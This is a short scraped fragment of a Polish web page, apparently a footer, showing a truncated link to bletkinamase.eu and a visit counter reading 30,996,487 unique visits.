bletkinamase.eu/</a
>

Licznik
30,996,487 unikalne wizyty